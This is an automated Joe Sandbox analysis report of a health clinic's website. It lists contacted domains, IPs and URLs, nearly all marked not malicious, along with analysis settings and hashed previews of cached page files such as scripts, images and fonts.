https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-32x32.png	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-136x103.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1536x1163.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/img__services-350x162.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-700x530.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1600x1211.jpg	0%	Avira URL Cloud	safe
http://valleyprohealth.org/terre-haute	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1920x1453.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/talk-336x336.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1200x908.jpg	0%	Avira URL Cloud	safe
https://x.bidswitch.net/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&ex	0%	Avira URL Cloud	safe
https://valleyprohealth.org/blog?category_=news	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-72x72.png	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-120x120.png	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6	0%	Avira URL Cloud	safe
https://www.healowpay.com/HealowPay/jsp/js/assets/img/pay-your-bills.png	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-2048x1550.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-68x51.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/img__section-1-250x250.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-68x68.jpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.193.229	true	false	unknown
plus.l.google.com	142.250.141.138	true	false	high
user-data-us-west.bidswitch.net	35.212.133.238	true	false	unknown
mycw108.ecwcloud.com	20.84.201.93	true	false	high
listgrowth.ctctcdn.com	18.154.206.40	true	false	high
valleyprohealth.org	35.222.242.251	true	false	unknown
dg2iu7dxxehbo.cloudfront.net	18.154.142.121	true	false	high
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
calendar.google.com	142.251.2.138	true	false	high
insight.adsrvr.org	52.223.40.198	true	false	high
scontent.xx.fbcdn.net	31.13.70.7	true	false	high
cdn.acsbapp.com	104.22.1.204	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
www3.l.google.com	74.125.137.101	true	false	high
dsum-sec.casalemedia.com	104.18.36.155	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
cm.g.doubleclick.net	142.251.2.155	true	false	high
maps.google.com	142.250.101.102	true	false	high
acsbapp.com	104.22.1.204	true	false	unknown
www.google.com	142.250.141.99	true	false	high
ib.anycast.adnxs.com	104.254.148.251	true	false	high
www.healowpay.com	20.121.85.116	true	false	unknown
pug-sfo-bc.pubmnet.com	104.36.113.107	true	false	unknown
match.adsrvr.org	3.33.220.150	true	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
clients6.google.com	unknown	unknown	false	high
static.ctctcdn.com	unknown	unknown	false	high
x.bidswitch.net	unknown	unknown	false	unknown
js.adsrvr.org	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
simage2.pubmatic.com	unknown	unknown	false	high
translate.google.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/ss/newui/css/wcagStyles.css	false		high
https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/ss/newLogin/jquery.mCustomScrollbar.css	false		high
about:blank	false	Avira URL Cloud: safe	low
https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/devCustomFonts/pxiEyp8kv8JHgFVrJJfecg.woff2	false		high
https://www.healowpay.com/HealowPay/jsp/js/assets/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6	false	Avira URL Cloud: safe	unknown
https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css	false	Avira URL Cloud: safe	unknown
https://www.healowpay.com/HealowPay/jsp/healow/login.jsp	false		unknown
https://mycw108.ecwcloud.com/portal14763/ss/fonts/newLogin/healow.ttf?qd9atp	false		high
https://cdn.acsbapp.com/config/valleyprohealth.org/config.json	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/fqhc_x2logo.png	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/payload?p=06AFcWeA6hHP6s1zynjYsXVufOgf4V29uZVjpCw0OhsZUN6GyY38r3KkHPQ-Fq3ZWwTNzx3gUyqIypGujbxTukbAXfsYdudixMkyZUEiNN3Yt2dQbAnrHduECGQR9eAbsvKZQ8dhU7AiV-HNFnqAvMHj9zq3uY1wur7d0zk9ON6jCU29x8XEjlN9daEWeTuLL7A00ipd4AF-Mt&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr	false		high
https://js.adsrvr.org/up_loader.1.1.0.js	false		high
https://valleyprohealth.org/services	false		unknown
https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-32x32.png	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/script/newLogin/common.js	false		high
https://valleyprohealth.org/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.16	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/ss/newLogin/media-layout.css	false		high
https://mycw108.ecwcloud.com/portal14763/script/moment.js	false		high
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3D69c771e8-c390-4607-a64f-75376e6bf1de	false		high
https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/script/newui/js/jquery-3.5.1.min.js?q=2	false		high
https://www.healowpay.com/HealowPay/jsp/js/assets/img/pay-your-bills.png	false	Avira URL Cloud: safe	unknown
https://mycw108.ecwcloud.com/portal14763/jsp/100mp/openAccessWidget.jsp?_=1713962707513	false		high
https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/	false		unknown
https://mycw108.ecwcloud.com/portal14763/images/newLogin/join-televisit-vector-landing.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jqueryui.com/menu/	chromecache_464.2.dr	false		high
https://apis.google.com/js/client.js	chromecache_450.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2022/06/Childress-Josh-9F7A6981-e1660334917549-136x13	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://api.jqueryui.com/data-selector/	chromecache_464.2.dr	false		high
https://valleyprohealth.org/good-faith-estimate	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-9193	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://underscorejs.org	chromecache_490.2.dr, chromecache_506.2.dr	false		high
http://valleyprohealth.org/wp-content/uploads/2020/07/img__services-scaled.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-96x96.png	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://valleyprohealth.org/vap	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_635.2.dr, chromecache_621.2.dr	false		high
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_full_width_hero.css?ver=230904-91	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/jquery/jquery-color	chromecache_464.2.dr	false		high
https://valleyprohealth.org/terms-and-conditions	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://jqueryui.com/position/	chromecache_464.2.dr	false		high
http://api.jqueryui.com/focusable-selector/	chromecache_464.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/talk-1100x1100.jpg	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-144x144.png	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php	chromecache_286.2.dr, chromecache_336.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_447.2.dr, chromecache_316.2.dr, chromecache_565.2.dr	false		high
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_tab_with_content.bundle.js?ver=23	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-800x606.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://pay.google.com/gp/v/widget/save	chromecache_450.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_290.2.dr, chromecache_467.2.dr, chromecache_307.2.dr, chromecache_305.2.dr	false		high
https://hu-manity.co/	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://api.jqueryui.com/size-effect/	chromecache_464.2.dr	false		high
https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=ZKXQMML32X2F4	chromecache_415.2.dr, chromecache_472.2.dr	false		high
https://support.google.com/recaptcha	chromecache_305.2.dr	false		high
http://valleyprohealth.org/terre-haute	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/img__services-350x162.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
http://momentjs.com/guides/#/warnings/zone/	chromecache_393.2.dr	false		high
http://bugs.jquery.com/ticket/11820	chromecache_632.2.dr	false		high
http://api.jqueryui.com/uniqueId/	chromecache_464.2.dr	false		high
http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html	chromecache_393.2.dr	false	URL Reputation: safe	unknown
http://api.jqueryui.com/checkboxradio/	chromecache_464.2.dr	false		high
https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA1MDJUMTIwMDAwWi	chromecache_390.2.dr, chromecache_285.2.dr	false		high
https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid	chromecache_619.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1536x1163.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/subscribe_embed?usegapi=1	chromecache_450.2.dr	false		high
http://jqueryui.com/slider/	chromecache_464.2.dr	false		high
https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://m0n.co/e	chromecache_414.2.dr, chromecache_515.2.dr	false	Avira URL Cloud: safe	unknown
https://code.google.com/p/chromium/issues/detail?id=313082	chromecache_464.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-136x103.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-700x530.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1600x1211.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1920x1453.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/calendar/event?eid=MWNiZnJiazA2MXMzamkzdDg3bGNuOWwzOXBfMjAyNDA0MjJUMTIzMDAwWi	chromecache_390.2.dr, chromecache_285.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/talk-336x336.jpg	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-120x120.png	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://x.bidswitch.net/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&ex	chromecache_360.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/marcandre/inputevent	chromecache_335.2.dr, chromecache_306.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-1200x908.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/calendar/event?eid=NzU3OTlobmNxaTgyZGxqYTY3NDE2bzY4bGJfMjAyNDA0MzBUMTIzMDAwWi	chromecache_390.2.dr, chromecache_285.2.dr	false		high
https://schema.press	chromecache_415.2.dr, chromecache_472.2.dr	false		high
https://valleyprohealth.org/blog?category_=news	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-72x72.png	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
http://www.robertpenner.com/easing)	chromecache_464.2.dr	false	URL Reputation: safe	unknown
http://momentjs.com/guides/#/warnings/min-max/	chromecache_393.2.dr	false		high
https://www.google.com/calendar/event?eid=NGUyZXJmZG9uMjBpa2pmZGgxOXBiODdtODAgZmxjOWZxN3R0OW5sbzUycW	chromecache_390.2.dr, chromecache_285.2.dr	false		high
https://www.constantcontact.com/legal/customer-contact-data-notice	chromecache_572.2.dr, chromecache_392.2.dr, chromecache_287.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-2048x1550.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/cleardot.gif	chromecache_403.2.dr	false		high
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-68x51.jpg	chromecache_415.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2020/07/img__section-1-250x250.jpg	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/	chromecache_415.2.dr, chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-68x68.jpg	chromecache_472.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MTFUMTIwMDAwWi	chromecache_390.2.dr, chromecache_285.2.dr	false		high
http://api.jqueryui.com/drop-effect/	chromecache_464.2.dr	false		high
https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=69c771e8-c390-4607-a64f-75376e6bf1de&gd	chromecache_619.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.193.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
18.154.142.121	dg2iu7dxxehbo.cloudfront.net	United States	16509	AMAZON-02US	false
18.154.206.128	unknown	United States	16509	AMAZON-02US	false
35.222.242.251	valleyprohealth.org	United States	15169	GOOGLEUS	false
35.212.133.238	user-data-us-west.bidswitch.net	United States	19527	GOOGLE-2US	false
142.250.141.103	unknown	United States	15169	GOOGLEUS	false
142.250.141.104	unknown	United States	15169	GOOGLEUS	false
142.251.2.155	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
20.121.85.116	www.healowpay.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
104.18.36.155	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.223.40.198	insight.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.141.99	www.google.com	United States	15169	GOOGLEUS	false
15.197.193.217	unknown	United States	7430	TANDEMUS	false
20.84.201.93	mycw108.ecwcloud.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
18.154.206.40	listgrowth.ctctcdn.com	United States	16509	AMAZON-02US	false
172.67.11.155	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	unknown	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.36.113.107	pug-sfo-bc.pubmnet.com	United States	62713	AS-PUBMATICUS	false
104.22.0.204	unknown	United States	13335	CLOUDFLARENETUS	false
104.254.148.251	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
142.250.101.99	unknown	United States	15169	GOOGLEUS	false
104.22.1.204	cdn.acsbapp.com	United States	13335	CLOUDFLARENETUS	false
18.154.206.110	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431079
Start date and time:	2024-04-24 14:43:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://valleyprohealth.org
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	SUS
Classification:	sus23.phis.win@32/695@114/30
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: http://valleyprohealth.org/#screen-reader-shortcut-header Browse: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Browse: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Browse: https://valleyprohealth.org/ Browse: https://valleyprohealth.org/services

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.137.94, 142.251.2.101, 142.251.2.100, 142.251.2.138, 142.251.2.139, 142.251.2.113, 142.251.2.102, 142.251.2.84, 34.104.35.123, 142.250.141.95, 142.250.101.97, 74.125.137.101, 74.125.137.113, 74.125.137.138, 74.125.137.100, 74.125.137.139, 74.125.137.102, 74.125.137.95, 142.251.2.95, 142.250.72.163, 142.251.2.94, 104.18.40.153, 172.64.147.103, 142.250.101.95, 40.68.123.157, 142.250.217.131, 23.204.146.169, 23.204.146.202, 192.229.211.108, 52.165.164.15, 8.39.36.141, 8.39.36.142, 142.250.141.102, 142.250.141.101, 142.250.141.113, 142.250.141.138, 142.250.141.139, 142.250.141.100
Excluded domains from analysis (whitelisted): pixel.rubiconproject.net.akadns.net, slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, translate-pa.googleapis.com, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, www.google-analytics.com, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, static.ctctcdn.com.cdn.cloudflare.net, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, translate.googleapis.com, clients.l.google.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: http://valleyprohealth.org

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (940), with no line terminators
Category:	downloaded
Size (bytes):	940
Entropy (8bit):	4.992188971914382
Encrypted:	false
SSDEEP:	24:Vs/ybihdYZiNBmGamliRIBNfzEwMYwBc0SKCzfI5kXb3:LBiTuYB5A5ZS1okL3
MD5:	6668A283E409C76C6EC1485A9FC0E851
SHA1:	B69741A26EB14BBF0C632F60CB3C7BFD941677F3
SHA-256:	8D2628F40610354F2086919BCD8E12AE6022516FE9ED987CA6C7DF0E966F9002
SHA-512:	CD70192A49265DC758263476CD780F18813A1EC9D7E9D3025A3F0753D29B46F4BEED5AB7FCB096515F25CC6CC5EE0F5AAC0B8DF7964CCC13C808532A7134F7A2
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935
Preview:	!function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="dist",r(r.s=163)}({163:function(e,t){}});

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	82
Entropy (8bit):	4.342540020711713
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtmyTQixqtQAltjp:6v/lhPfkCDtmyT3xWVXjp
MD5:	272E7FE9A92E7D800DF94406429E31B5
SHA1:	AE64BBDCC69A9D29090A26B9F6E20AE9DA04662C
SHA-256:	E91C50EBBDA61015CB1EE8070CC7A758D048B76084956A1A3995BFF1A6D8C9B4
SHA-512:	607E1DB4EA89F3BB1445B00D343B9B38A21BC25ED551817C2C28EE3E0A678A6170A01487C4760979D6EA1041B658125788C45234B37D58FDD3A3373262E9047B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/img__empty.png
Preview:	.PNG........IHDR.............%.V.....PLTE...........IDAT..c`........5.....IEND.B`.

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	720
Entropy (8bit):	4.569092186365795
Encrypted:	false
SSDEEP:	12:Kt80BxG0LtWtM0BxGRdgtLtWcM0BxGIxLtWk0BxGGd1LtWO0BxGxe3RLtWF0BxGe:zOkutdg5kcMcNkkCbkOI3tkFleRk8
MD5:	B58FCFA7628C9205CB11A1B2C3E8F99A
SHA1:	D11FEBF9E708A9E11BAEE37ED7DC5E99902580BE
SHA-256:	27ECA3E8297EB7FF340DEB3849B210185A459B3845456AA4D0036F6D966B3518
SHA-512:	66ED2703C1AE9A94DE01DD47707F9ED6CF3E2A035A3359793A06AFAE682A7DD4ABF06FF05109905841FE85747802C94708CE4A9EE56C7FBB8CC578EC556BF6D3
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/manifest.json
Preview:	{. "name": "App",. "icons": [. {. "src": "\/android-icon-36x36.png",. "sizes": "36x36",. "type": "image\/png",. "density": "0.75". },. {. "src": "\/android-icon-48x48.png",. "sizes": "48x48",. "type": "image\/png",. "density": "1.0". },. {. "src": "\/android-icon-72x72.png",. "sizes": "72x72",. "type": "image\/png",. "density": "1.5". },. {. "src": "\/android-icon-96x96.png",. "sizes": "96x96",. "type": "image\/png",. "density": "2.0". },. {. "src": "\/android-icon-144x144.png",. "sizes": "144x144",. "type": "image\/png",. "density": "3.0". },. {. "src": "\/android-icon-192x192.png",. "sizes": "192x192",. "type": "image\/png",. "density": "4.0". }. ].}

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	http://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1285), with no line terminators
Category:	downloaded
Size (bytes):	1285
Entropy (8bit):	5.80684301834375
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAjZJl9F6+KVCLTLv138EgFB5vtTGJTlWtX5l1A4fsLqo40RWUnYN:VKEcixKonR3evtTA8h1mLrwUnG
MD5:	857B04EEE8B480C06091523CD5E620A7
SHA1:	467721072BCA889F2D3368282894869ADE54FDAA
SHA-256:	A66FCB9852FF883C6256135C0FEEA7F3352C6245E9634D3D2AEDB806CA2ECA0F
